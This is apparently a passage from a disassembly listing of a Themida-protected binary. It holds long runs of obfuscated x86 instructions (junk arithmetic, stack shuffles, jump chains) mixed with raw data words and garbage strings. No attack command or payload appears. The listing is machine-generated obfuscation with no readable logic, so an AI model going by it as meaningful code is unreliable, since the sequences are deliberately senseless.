42474FFh dd 50243C8Bh, 32A1E9h, 243C3300h, 1E6FE9h db 0 ; --------------------------------------------------------------------------- loc_557009: ; CODE XREF: Themida_:0055AFABj push ebx mov ebx, esp jmp loc_558E1F ; --------------------------------------------------------------------------- loc_557011: ; CODE XREF: Themida_:005598E4j push esp jmp loc_557C9B ; --------------------------------------------------------------------------- db 0BEh dd 4, 875EF329h, 34E9241Ch, 89FFFFB2h, 405E0h, 4050000h dd 87000000h, 0D2E92404h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55703B: ; CODE XREF: Themida_:0055DD58j inc esi inc esi add esi, 1 sub esi, 1 jmp loc_5584AC ; --------------------------------------------------------------------------- db 83h dd 248904ECh, 24048124h, 4, 3E6EE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55705E: ; CODE XREF: Themida_:005585A6j sub edi, 658846D8h jmp loc_5523B1 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 0FFC057E9h, 0F75646FFh, 0E95E2414h, 0BADBh, 2EA5EA81h dd 2033FB7h, 240C8B5Ah, 81E78957h, 4C7h, 4C78300h, 31243C33h dd 2BE9243Ch, 0B8000039h, 4, 3358C201h, 14312414h, 1D32E924h dd 8B660000h, 89522414h, 8B0DE9E2h, 0C381FFFFh, 4, 8B241C87h dd 89532424h, 4C381E3h, 52000000h, 4BAh, 5AD32900h, 0E9241C33h dd 80B6h, 0E904C483h, 0FFFFC34Ch, 0C8AF0F66h, 0E99C5166h dd 0FFFF871Eh ; --------------------------------------------------------------------------- loc_5570F8: ; CODE XREF: Themida_:0055243Cj mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55FD79 ; --------------------------------------------------------------------------- loc_557113: ; CODE XREF: Themida_:00555FB0j push ebx jmp loc_55ED76 ; --------------------------------------------------------------------------- db 0F6h, 0D5h, 0FEh dd 0EFF580CDh, 0AA9E9h, 124A6800h, 63E90000h, 810000B0h dd 0F5AA18F5h, 0E9EB8961h, 7DFBh, 5B2434FFh, 8704C483h dd 95C240Ch, 0C6B2E9C0h, 0C3810000h, 1BA04D36h, 0EB81EB01h dd 1BA04D36h, 7B1EBF57h, 0A0E903AEh, 55000075h, 0C5815D54h dd 4, 0E904ED83h, 5CB4h, 24048B66h, 4EC81h, 1C890000h dd 0E9E38924h, 7026h ; --------------------------------------------------------------------------- loc_55718C: ; CODE XREF: Themida_:005589A0j sub eax, 0CDD3F37Bh jmp loc_55C88E ; --------------------------------------------------------------------------- dw 0F131h dd 59CE015Eh, 0DE9F089h, 8B000083h, 0D0E9240Ch, 0B8FFFFE3h dd 7D462C1h, 0B833DA35h, 0B9515517h, 0D192252h, 0D0E98149h dd 0E9272919h, 0FFFF9555h, 0E924248Bh, 3939h, 4247C29h dd 57243C8Bh, 1D3E9h db 0 ; --------------------------------------------------------------------------- loc_5571DD: ; CODE XREF: Themida_:0055E829j pop esp pop edi and ecx, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edx push esp jmp loc_552FC1 ; --------------------------------------------------------------------------- dd 48BC609h, 4C48124h, 0E9000000h, 0FFFFCD75h, 0BADCED81h dd 0EA019468h, 2C2835Dh, 0FFA7B8E9h, 8BDF01FFh, 0C481241Ch dd 4, 8704C783h, 685C243Ch, 33FCh, 57240C89h, 0D97064BFh dd 35B85052h, 892256F1h, 0E98158C1h, 16CB5BCDh, 0BE56F901h dd 12240F5Fh, 4C6EC681h, 0F10104A7h, 0C1495F5Eh, 0E98108E1h dd 0FFFFFFFFh, 0E905E1C1h, 0A71Eh ; --------------------------------------------------------------------------- loc_557268: ; CODE XREF: Themida_:0055D34Dj sub esi, 0F8B0E5F3h push ecx push edi mov edi, esi mov ecx, edi pop edi mov ebx, ecx push dword ptr [esp] pop ecx add esp, 4 mov esi, [esp] jmp loc_55ACF0 ; --------------------------------------------------------------------------- loc_557286: ; CODE XREF: Themida_:0055DD45j movzx eax, al push edx push esp pop edx push eax mov eax, 4 jmp loc_5527BE ; --------------------------------------------------------------------------- loc_557297: ; CODE XREF: Themida_:00562BD1j sub eax, 62E34B8Fh add eax, edi jmp loc_5597AF ; --------------------------------------------------------------------------- db 52h dd 0C281E289h, 4, 0FFA075E9h, 0C1EAD1FFh, 0C28105E2h, 0A8DACED0h dd 815AD329h, 0F806BBEBh, 25176858h, 14890000h, 1D7BBA24h dd 0DAF7733Eh, 342BC281h, 3DE9C5AEh, 0F7FFFF8Ah, 4EC83D9h dd 0BD242C89h, 19577859h, 7398F581h, 0ED83112Dh, 2C581FFh dd 3181CDB9h, 18CAE9E9h, 0F3810000h, 82C87894h, 815BDD89h dd 0A32A8DC5h, 15ED8175h, 8164B134h, 430706EFh, 8D62E979h dd 148BFFFFh, 360A6824h, 0ACE90000h, 2D000082h, 29747A2h dd 0FFB960E9h, 4EB83FFh, 5C241C87h, 0FFD5DEE9h, 0D4B951FFh dd 16F4F79h, 0A27FE9CFh, 348BFFFFh, 4C48324h, 592434FFh dd 0E904C483h, 1ABh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55F092 ; --------------------------------------------------------------------------- dd 0C8B60F66h, 0E99C5166h, 0FFFF849Eh ; --------------------------------------------------------------------------- loc_557378: ; CODE XREF: Themida_:00550900j mov ecx, 0FFA3CBFBh add edx, ecx pop ecx push edi mov edi, 3E880E68h not edi xor edi, 4A5C7DA9h or edi, 708658E8h jmp loc_55B2F3 ; --------------------------------------------------------------------------- db 0B7h, 0D7h, 4 dd 0E9F82892h, 0FFFF9FBDh, 0BCCB852Dh, 0E9C701F5h, 4528h dd 0C781E789h, 4, 41F5E9h db 0 ; --------------------------------------------------------------------------- loc_5573BD: ; CODE XREF: Themida_:00550BE4j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, 1 sub edx, ebp jmp loc_5581A9 ; --------------------------------------------------------------------------- dd 0E957D831h, 0FFFFF084h ; --------------------------------------------------------------------------- loc_5573E0: ; CODE XREF: Themida_:00552FCBj xchg edx, [esp] pop esp shr ecx, 2 push esi jmp loc_55D584 ; --------------------------------------------------------------------------- loc_5573ED: ; CODE XREF: Themida_:0055D343j sub ecx, 0DA4C48A6h sub edx, ecx mov ecx, [esp] jmp loc_563235 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 1232E958h, 77FF0000h, 59669D1Ch, 9C241CD3h, 0FF8401E9h dd 39BB53FFh, 8129C308h, 782344CBh, 20EB8160h, 92382EBh dd 0DB05E9DAh, 0C4830000h, 7058E904h, 4F090000h, 0D7E9591Ch db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55743F: ; CODE XREF: Themida_:00564B2Bj pop ecx add ebp, 2D7E25E0h sub ebp, edi sub ebp, 2D7E25E0h push dword ptr [esp] jmp loc_55A56A ; --------------------------------------------------------------------------- aSsF db 'S',0 align 4 dd 24048B66h, 68585450h, 7B3Eh, 0B9240C89h, 3C3A2388h dd 5303E1C1h, 5B4EE9h, 243C8900h, 4BFh, 5FF92900h, 8904EC83h dd 74FF240Ch, 0F4E90424h, 0B8000047h, 7F6B1EEDh, 28792C05h dd 0F5354838h, 21A7A094h, 0F68158C6h, 2F2D3261h, 3B4DE9h dd 24048B00h, 490768h, 24348900h, 0B9E9E689h, 3000003Ch dd 4EC81D8h, 89000000h, 4DE92434h, 5C00002Dh, 5724348Bh dd 48E95F54h, 8100001Eh, 4C4h, 68DDF600h, 6936h, 51241489h dd 0C9FE7CB1h, 0C004E9C0h, 9AE906E9h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5574FF: ; CODE XREF: Themida_:0055EDA7j pop ecx mov ebp, 92E1963Bh add ebp, eax mov eax, [esp] jmp loc_551E9B ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4C18100h, 87000000h, 248B240Ch, 60EB8024h, 50D2EB80h dd 2E0406B0h, 0E8C0C8FEh, 380408h, 97A2E9C3h, 0D7010000h dd 5324148Bh, 0D71FE9h, 0F7515C00h, 0C1592414h, 0D1F702E1h dd 0FFD636E9h, 10BF57FFh, 8147970Bh, 94260EEFh, 0E525E921h dd 0C281FFFFh, 79052BB4h, 0E4DEA81h, 34FF322Fh, 0C4815D24h dd 4, 324568h, 24148900h, 42474FFh, 8324148Bh, 80E904C4h dd 89FFFFCAh, 82BDE9E2h, 0CA01FFFFh, 6F66C281h, 815926EBh dd 4ECh, 24348900h, 2BEh, 93BE5600h, 0E9106976h, 0FFFFA64Fh ; --------------------------------------------------------------------------- loc_5575BC: ; CODE XREF: Themida_:0056262Dj push 0CC5h mov [esp], edx sub esp, 4 mov [esp], ecx mov ecx, 7476275h inc ecx push ebx mov ebx, esp push 404Ah mov [esp], ebp mov ebp, 6EB23FF6h push ebp dec dword ptr [esp] pop ebp shr ebp, 5 shr ebp, 2 xor ebp, 47BB049Ch add ebp, 0C675413h jmp loc_559B18 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 83582434h, 0B06804C4h, 8900002Bh, 0E6892434h dd 1DD3BB53h, 0CB81040Bh, 1C555B50h, 0FFFFC381h, 0E381FFFFh dd 2CE67945h, 0C949E9h db 0 ; --------------------------------------------------------------------------- loc_55762D: ; CODE XREF: Themida_:00555AF5j sub ecx, eax pop eax jmp loc_562A9E ; --------------------------------------------------------------------------- loc_557635: ; CODE XREF: Themida_:00552657j sub eax, ebp pop ebp and eax, 480F24DAh add eax, 0FFFFFFFFh add eax, 1795535Eh or edi, eax pop eax push eax mov eax, 60122510h sub edi, 77C2693Bh add edi, eax add edi, 77C2693Bh mov eax, [esp] add esp, 4 push ecx mov ecx, 390B5438h or edi, ecx pop ecx sub edi, 1B122178h sub edi, 3F185514h add ebx, edi pop edi sub ebx, 6CB71B41h push edi mov edi, 2A59238Ch inc edi not edi jmp loc_550400 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF817Eh, 0C8BCB01h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_561093 ; --------------------------------------------------------------------------- loc_5576B4: ; CODE XREF: Themida_:0055C669j mov ebx, [esp] add esp, 4 push 7B42h mov [esp], ebx mov ebx, 0 add ebx, eax add [ebx], edx jmp loc_555674 ; --------------------------------------------------------------------------- dd 8904EC83h, 5B9240Ch, 8166F441h, 8845B2E9h, 4EC81BCh dd 0E9000000h, 1624h, 124248Bh, 0A9BA52C8h, 0E9168932h dd 0FFFF820Ch ; --------------------------------------------------------------------------- loc_5576FC: ; CODE XREF: Themida_:005627B2j add esp, 4 mov bh, dh mov edx, [esp] add esp, 4 not bh jmp loc_56088F ; --------------------------------------------------------------------------- aUxaJ db '(Xæ',0 aAijaGs db 'À릀g',0 db 0 ; --------------------------------------------------------------------------- loc_557727: ; CODE XREF: Themida_:00556682j pop ebp sub eax, 70A624FBh shl eax, 7 jmp loc_555AA5 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd offset dword_52B048+4A1h dd 4AE95000h, 0B6000033h, 4E7CE9A8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55774A: ; CODE XREF: Themida_:0055537Cj add ebp, 6E166BE1h pop esi inc ebp add ebp, 920495BAh and eax, ebp jmp loc_550ACE ; --------------------------------------------------------------------------- db 56h dd 3D5694BEh, 3EEC138h, 290968h, 241C8900h, 0E2714ABBh dd 9BEB8168h, 0E91AF966h, 0FFFFCD15h ; --------------------------------------------------------------------------- loc_557780: ; CODE XREF: Themida_:00555D88j xor ebp, [esp] pop esp push ebp jmp loc_560DE1 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 8B2434FFh, 0C4832404h, 6BEB6804h, 34890000h dd 43E7E924h, 0E94A0000h, 5B2Ch, 0E9D830ACh, 4845h, 0E9242C89h dd 227Eh ; --------------------------------------------------------------------------- loc_5577BC: ; CODE XREF: Themida_:0055D589j mov [esp], ebx push edi jmp loc_552A0E ; --------------------------------------------------------------------------- db 5Fh, 0FFh, 34h aZhi_ db '$Zh.',0 dw 8900h dd 0A6E92404h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5577D7: ; CODE XREF: Themida_:0055471Fj mov ax, [esp] push ebp mov ebp, esp push 0AEDh mov [esp], edx push esi jmp loc_55F273 ; --------------------------------------------------------------------------- dd 3FE9D521h, 66FFFFCDh, 3DF8F381h, 0DE896656h, 5EF08966h dd 81241C8Bh, 4C4h, 0D8F76600h, 0C5133566h, 6AEB8166h dd 0C3016646h, 6AC38166h, 24048B46h, 6604C483h, 5BE5CB81h dd 0FF9003E9h db 0FFh ; --------------------------------------------------------------------------- loc_55782D: ; CODE XREF: Themida_:005644E4j push edi jmp loc_560D10 ; --------------------------------------------------------------------------- db 81h dd 53905DC1h, 0E9CA8936h, 0FFFFBD34h, 0C8B60F66h, 0E99C5166h dd 0FFFF7FCAh ; --------------------------------------------------------------------------- loc_55784C: ; CODE XREF: Themida_:0055D93Dj pop eax xchg eax, ecx push 1CC1h mov [esp], ecx push ebx jmp loc_55AAD3 ; --------------------------------------------------------------------------- loc_55785C: ; CODE XREF: Themida_:00561178j pop esi jmp loc_55F922 ; --------------------------------------------------------------------------- dw 0EA81h dd 4E57196Bh, 30D9C281h, 0EA815A9Bh, 0C34552Ch, 10ACE9h dd 24348900h, 4EE95E54h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557883: ; CODE XREF: Themida_:0055B0F6j sub eax, 0FA5AE2D8h add esi, 4DC74FF3h add esi, eax sub esi, 4DC74FF3h pop eax add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_55A927 ; --------------------------------------------------------------------------- dd 18E9F029h, 0B9000088h, 361850E5h, 5D84F181h, 0D9F735F8h dd 6D6FE981h, 0D9F72F84h, 8534C181h, 0CE89CC9Bh, 5EF50159h dd 7C27E9h, 68E95400h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5578DB: ; CODE XREF: Themida_:00563ACEj push ebp push edi push 22017A8Fh pop edi xor edi, 5B195194h mov ebp, edi push dword ptr [esp] pop edi jmp loc_5546D5 ; --------------------------------------------------------------------------- dd 0C462F381h, 0E953F17Eh, 55CEh, 92E3E95Bh, 0BE56FFFFh dd 2A185B54h, 5EB0CE81h, 0EDE931A7h, 0F0000ACh, 34FFC0B6h dd 34A86887h, 3CE90000h, 590000B0h, 0CFC4E9h, 1C77FF00h dd 0D359669Dh, 0E99C2414h, 0FFFF7EDAh ; --------------------------------------------------------------------------- loc_55793C: ; CODE XREF: Themida_:0055A7D0j pop eax push eax mov eax, esp sub esp, 4 mov [esp], ecx mov ecx, 4 add eax, ecx pop ecx jmp loc_561155 ; --------------------------------------------------------------------------- loc_557956: ; CODE XREF: Themida_:0055ACDBj shl edx, 1 push 61AAh jmp loc_560FFB ; --------------------------------------------------------------------------- dw 0E9F7h dd offset dword_56A368 dd 24048900h, 54525854h, 9162E9h, 0EDC14D00h, 81D5F704h dd 9B7083CDh, 39F5816Bh, 2990C2AEh, 9D2D5DE8h, 533E7132h dd 1BBh, 76B02D00h, 0D8291D13h, 1376B005h, 53E95B1Dh db 0D2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5579A7: ; CODE XREF: Themida_:0055FE37j xchg ebp, [esp] pop esp and ecx, eax push dword ptr [esp] jmp loc_55EED7 ; --------------------------------------------------------------------------- aSius db 'S]',0 dd 0E6895600h, 0C8D7E9h, 2474FF00h, 240C8B04h, 0E904C483h dd 39DDh ; --------------------------------------------------------------------------- loc_5579D4: ; CODE XREF: Themida_:00564EEDj push edx jmp loc_54F821 ; --------------------------------------------------------------------------- dw 905h dd 89585E35h, 24048BC1h, 4904C483h, 0E903E1C1h, 0BAA6h dd 0E9F80159h, 0BB72h ; --------------------------------------------------------------------------- loc_5579F8: ; CODE XREF: Themida_:0055F0B0j pop ebx jmp loc_56346E ; --------------------------------------------------------------------------- loc_5579FE: ; CODE XREF: Themida_:00552B4Dj xor edx, 54292552h jmp loc_554104 ; --------------------------------------------------------------------------- loc_557A09: ; CODE XREF: Themida_:005586A1j add edx, 0C23BB72Ch add esi, edx pop edx jmp loc_551173 ; --------------------------------------------------------------------------- loc_557A17: ; CODE XREF: Themida_:00563DF6j sub ecx, 7BED079Fh pop edi push edx push edi mov edi, 36921E73h dec edi jmp loc_5613B7 ; --------------------------------------------------------------------------- db 66h dd 5724048Bh, 0D68E789h, 89000048h, 6857240Ch, 393727E2h dd 52DFF75Fh, 4E64B3BAh, 74EA8176h, 0C14AE65Eh, 814A04EAh dd 6B249AF2h, 2A97E91Bh, 4810000h, 424h, 24048B00h, 4C481h dd 4050000h, 0E9000000h, 6B0Dh, 4BB53h, 0DF010000h, 4BE565Bh dd 81000000h, 0E7423FC7h, 0DDEF8141h, 29224A1Ah, 4EC81F7h dd 0E9000000h, 0B31Eh, 4BEh, 5EF00100h, 3304C083h, 4312404h dd 24043324h, 5324248Bh, 4BBh, 8BD80100h, 8952241Ch, 1B6FE9E2h dd 0C6810000h, 6722942h, 8AE9F089h, 68000002h, 5427h, 4C77E9h dd 6B902D00h, 34FF2186h, 0C4815A24h, 4, 0FFDA1AE9h, 1E6EBAFFh dd 0EAC13479h, 2557E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557B02: ; CODE XREF: Themida_:0056436Dj pop ecx push esi mov esi, 0BD42666h xor ecx, esi jmp loc_564C0F ; --------------------------------------------------------------------------- dd 245DBD55h, 0EF292C3Ah, 81242C8Bh, 4ECh, 24148900h, 0C281E289h dd 4, 4C281h, 85E90000h, 8BFFFFE2h, 0C4812404h, 4, 3C8BF829h dd 4C48324h, 1105D801h, 51187718h, 0A31894B9h, 0B171E90Fh dd 768FFFFh, 89000022h, 56E9242Ch, 53000013h, 621556BBh dd 86CB811Ah, 0C166DB63h, 2E902E3h, 1FFFFC5h, 0CBC4E9F8h dd 8B54FFFFh, 0E951243Ch, 0FFFFB8F9h ; --------------------------------------------------------------------------- loc_557B8C: ; CODE XREF: Themida_:005518ACj push esi jmp loc_54F8B8 ; --------------------------------------------------------------------------- dw 0C629h dd 55EE0158h, 4C6B27BDh, 5DEE0133h, 6FF2E95Dh, 34890000h dd 4EC8124h, 0E9000000h, 86CBh, 3332C681h, 0E9E91E44h dd 51FFFF82h, 0E957E189h, 82C3h, 0BF2FE956h, 0E828FFFFh dd 0EC815959h, 4, 0B1240C89h, 0CE43E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557BE2: ; CODE XREF: Themida_:005635BEj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_555CDB ; --------------------------------------------------------------------------- db 0F7h dd 2C8B2414h, 4C48324h, 510EF581h, 0B951EECBh, 3C592C72h dd 0FF9A6EE9h, 2BA52FFh, 5000000h, 25669DAh, 352EE9h, 8734FF00h dd 0FF2434FFh, 0F8E92434h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557C33: ; CODE XREF: Themida_:00555726j pop esp mov [esp], ebp push esi jmp loc_54FDB3 ; --------------------------------------------------------------------------- aYs4c db 9,'Y4c',0 db 0 ; --------------------------------------------------------------------------- loc_557C45: ; CODE XREF: Themida_:0055CB73j not bl add bl, 94h sub bl, 43h xor al, bl pop ebx push eax mov ah, 5Bh add bl, ah pop eax add bl, al push edx mov dh, 0Eh xor dh, 21h shl dh, 7 xor dh, 9Dh jmp loc_54F8FD ; --------------------------------------------------------------------------- db 81h, 0C2h, 0FDh dd 8B498D43h, 0C483240Ch, 4EC8304h, 2A5FE9h, 5BD90100h dd 6E4DBF57h, 0F901ADBDh, 0E9243C8Bh, 9F5Fh ; --------------------------------------------------------------------------- loc_557C90: ; CODE XREF: Themida_:00559870j mov eax, [esp] add esp, 4 jmp loc_560039 ; --------------------------------------------------------------------------- loc_557C9B: ; CODE XREF: Themida_:00557012j pop esi add esi, 4 push ebx mov ebx, 4 add esi, ebx pop ebx xchg esi, [esp] pop esp jmp loc_551A68 ; --------------------------------------------------------------------------- dd 0E904E1C1h, 0FFFFFB77h, 4900B850h, 0C2317D35h, 5AD78958h dd 290C68h, 242C8900h, 150F47BDh, 0FFB95166h, 292590D2h dd 0ACE959CDh, 8B000043h, 0C4812414h, 4, 815DBF57h, 0F9010297h dd 10C2815Fh, 0E97E5D13h, 6544h, 515BDD31h, 0B77474B9h dd 59CE294Ah, 79AAE9h, 32FF6600h, 0FF7AFDE9h, 24348BFFh dd 4C481h, 0C4810000h, 4, 46857h, 3C8B0000h, 0E3895324h dd 4C381h, 0B8E90000h, 5EFFFFCEh, 8B5FFD01h, 0C4812404h dd 4, 0BAC7E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557D52: ; CODE XREF: Themida_:0055FFB8j add ebp, ecx pop ecx jmp loc_5562B0 ; --------------------------------------------------------------------------- dw 28Fh dd 0FF7AB5E9h, 24348BFFh, 4C481h, 0F8290000h, 0B1C6E9h dd 0BF574D00h, 0FF82E02Dh, 29E9FD31h, 8100007Ch, 0AC41EFE9h dd 0C5E98134h, 294C6E42h, 0C5C181C1h, 504C6E42h, 3F7230B8h dd 34E99222h, 8B000054h, 0C483241Ch, 6149E904h, 8F5F0000h dd 0D0E92404h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557DB3: ; CODE XREF: Themida_:00554E30j add esp, 4 jmp loc_552167 ; --------------------------------------------------------------------------- aBiqc8Hpd db 'qC!8)hd',0 align 4 aST db '',27h,'t',0 dd 8AC58100h, 0E9615071h, 0AC4Ch, 0E904C483h, 144Ch, 8306E1C1h dd 0EC81FFE9h, 4, 51240489h, 7D1930B9h, 59C8897Bh, 6C6AE948h dd 0C3810000h, 1BFC447Bh, 0FFE445E9h, 0BCBF57FFh, 0E96DC92Dh dd 84A9h ; --------------------------------------------------------------------------- loc_557E14: ; CODE XREF: Themida_:0056104Bj push edi push eax push ebx mov ebx, 4D0C1192h shr ebx, 3 neg ebx jmp loc_552748 ; --------------------------------------------------------------------------- dw 0BE56h dd 4, 875EF729h, 895C243Ch, 0E952241Ch, 0FFFF8C4Ch, 999EEB81h dd 0D8296130h, 4AD5E9h, 25685F00h, 89000076h, 34FF2434h dd 0C4835D24h, 2434FF04h, 8124348Bh, 4C4h, 4C48300h, 2C8BE801h dd 4C48124h, 0E9000000h, 0AE08h ; --------------------------------------------------------------------------- loc_557E78: ; CODE XREF: Themida_:0056433Dj sub ebx, eax sub ebx, 6D0E0180h jmp loc_5565D4 ; --------------------------------------------------------------------------- loc_557E85: ; CODE XREF: Themida_:0056153Ej mov eax, esp add eax, 4 sub esp, 4 mov [esp], edx push ebp push 7C9B40FFh pop ebp shl ebp, 5 add ebp, 0E5943706h jmp loc_558CC5 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 5124048Bh, 0EC81E189h, 4, 0FFC482E9h, 0EB8143FFh dd 91C1B879h, 34FFDA89h, 0C4815B24h, 4, 6BB6C781h, 0C781404Bh dd 1E110845h, 0EF81D701h, 1E110845h, 6BB6EF81h, 148B404Bh dd 25E95024h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557EF7: ; CODE XREF: Themida_:005533D6j mov esi, 4F81687Fh add esi, 8BA71C6h jmp loc_553249 ; --------------------------------------------------------------------------- db 0BDh dd 4, 79B8EA81h, 0EA013F37h, 79B8C281h, 0DE93F37h, 570000BCh dd 4BFh, 0E9F80100h, 0FFFFC698h, 65ABC781h, 0F931FD64h dd 685Fh, 4810000h, 0AC0ADB24h, 0F04DE936h, 0C89FFFFh dd 2474FF24h, 48F5904h, 24248B24h, 0C868E9h db 0 ; --------------------------------------------------------------------------- loc_557F59: ; CODE XREF: Themida_:00558E49j add esp, 4 jmp loc_555D3A ; --------------------------------------------------------------------------- aRss db 'R',0Bh,0 db 0 ; --------------------------------------------------------------------------- loc_557F67: ; CODE XREF: Themida_:0055E7FFj pop esp push esp pop dword ptr [esp] jmp loc_55AD40 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 5E1AE9h, 5BFE2000h, 35DE952h, 0EB810000h, 738F464Ah dd 0C381FB01h, 738F464Ah, 8B5B2388h, 0C4812404h, 4, 81241C8Bh dd 4C4h, 786CE900h, 48BFFFFh, 4EC8324h, 89241C89h, 26E868E3h dd 34890000h, 2E21BE24h, 0DEF731FEh, 4EC834Eh, 87243489h dd 0E951240Ch, 50A2h, 0F989D789h, 24148B5Fh, 6804C483h dd 6056h, 0E9243489h, 0B533h, 66DAF766h, 7B98C281h, 0D5BD6655h dd 0F5816620h, 9660E54h, 0C1665DEAh, 0F76605EAh, 665066D2h dd 66C2EAB8h, 28E9C231h, 51000015h, 0C181E189h, 4, 0FF8D55E9h db 0FFh ; --------------------------------------------------------------------------- loc_558025: ; CODE XREF: Themida_:00555A60j add ebx, 1B6D0044h jmp loc_562E51 ; --------------------------------------------------------------------------- loc_558030: ; CODE XREF: Themida_:0056276Cj pop dword ptr [esp] pop esp mov [esp], ebp jmp loc_55A2A9 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0C9EBh, 8124048Bh, 4C4h, 57DE2900h, 0CC220ABFh dd 0E9FE2900h, 0BD80h ; --------------------------------------------------------------------------- loc_55805C: ; CODE XREF: Themida_:0055F71Ej add edx, edi add edx, 7AA66F83h mov ecx, [edx] jmp loc_55256E ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 2414D259h, 779CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55807A: ; CODE XREF: Themida_:00553D8Cj push ecx mov ecx, 352A24DCh mov edx, ecx pop ecx push ecx mov ecx, 1F5B4FE1h xor edx, ecx pop ecx sub edx, 3CBF4C3Ch push edi mov edi, 0DD11095h push edi sub esp, 4 mov [esp], ebx pop edi pop ebx not ebx xchg ebx, edi shr edi, 4 shr edi, 2 push 0FE3h mov [esp], edi xchg edi, [esp] dec edi xchg edi, [esp] pop edi jmp loc_558539 ; --------------------------------------------------------------------------- db 80h dd 0B652ECCCh, 58F68040h, 0FFAE2CE9h, 4C483FFh, 0FF8E0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5580D9: ; CODE XREF: Themida_:00558166j add ebx, 4 xchg ebx, [esp] pop esp pop ecx and ecx, edx jmp loc_555B90 ; --------------------------------------------------------------------------- dd 433225B8h, 48D8F71Bh, 0E902E8C1h, 1A54h, 68F2875Eh dd 2EEBh, 0BB241C89h, 8896BE0h, 0FF8820E9h, 8BFA31FFh dd 8957243Ch, 4C781E7h, 83000000h, 3C8704C7h, 24248B24h dd 40D0F792h, 0E9DAF792h, 0FFFF8B70h, 8B243C33h, 0EDE92424h dd 52000009h, 4BAh, 5AD30100h, 5C241C87h, 8219E9h db 0 ; --------------------------------------------------------------------------- loc_55814D: ; CODE XREF: Themida_:00564D3Cj and ebp, 75115D0Ch push ebp inc dword ptr [esp] pop ebp xor ebp, 74014C0Dh add ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_5580D9 ; --------------------------------------------------------------------------- db 33h dd 14312414h, 24143324h, 6624248Bh, 2404AB0Fh, 7694E99Ch dd 895CFFFFh, 0C768241Ch, 8900002Dh, 4812424h, 424h, 0ABE95B00h dd 1FFFFB2h, 0BE5658C3h, 441B79BFh, 0FFC76FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5581A9: ; CODE XREF: Themida_:005573D3j pop ebp jmp loc_556866 ; --------------------------------------------------------------------------- db 51h dd 4B9h, 59C82900h, 5C240487h, 50241489h, 7650E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5581C6: ; CODE XREF: Themida_:005600EFj xchg ebx, [esp] pop esp push 55FFh mov [esp], ebp push 1DC6h mov [esp], esp jmp loc_5502D7 ; --------------------------------------------------------------------------- db 81h dd 5322A1F1h, 9A9CE9D7h, 0C083FFFFh, 24048704h, 4C7815Ch dd 0E9000000h, 0B34h, 2924248Bh, 0E99C2404h, 0FFFF760Eh dd 4C681h, 68550000h, 2, 83242C8Bh, 46E904C4h, 54FFFFC0h dd 52DE9h, 91E95500h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55822B: ; CODE XREF: Themida_:0055C351j mov esi, 5D4D1E22h add esi, 110E075Fh add edi, 7857362Ah sub edi, esi sub edi, 7857362Ah jmp loc_552D4F ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89243C89h, 159968E7h, 34890000h, 4BE24h, 0C1E90000h dd 800000A6h, 0C580E2E5h, 0E9EE283Ch, 27EAh ; --------------------------------------------------------------------------- loc_558270: ; CODE XREF: Themida_:0055263Aj xor [ebx], edx pop ebx jmp loc_5557A9 ; --------------------------------------------------------------------------- dd 1E90E953h, 0FD880000h, 0E9241C8Bh, 0FFFFE11Ch ; --------------------------------------------------------------------------- loc_558288: ; CODE XREF: Themida_:0055291Fj add eax, 34AF7E58h shr eax, 5 add eax, 618246Eh add eax, 0F71613E0h add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 2ABCh mov [esp], ecx sub esp, 4 push esp pop dword ptr [esp] push 19B2h jmp loc_5552F2 ; --------------------------------------------------------------------------- dw 0D189h dd 244C015Ah, 48F5904h, 0B9515324h, 352106EFh, 6EBF181h dd 25E93521h, 0F600005Dh, 5A012454h, 0E9F78853h, 0FFFFB5D0h dd 20EBE681h, 0E95149A3h, 0FFFFA149h, 6604C483h, 32EA6853h dd 0D6E90000h, 54FFFFA3h, 4C7815Fh, 51000000h, 1BE7BD55h dd 0C5814E1Ch, 3E8315BDh, 0FF9497E9h, 5EF701FFh, 5C243C87h dd 0FF2434FFh, 57592434h, 0B8DFE9h, 815B5400h, 4C3h, 4DC8E900h db 2 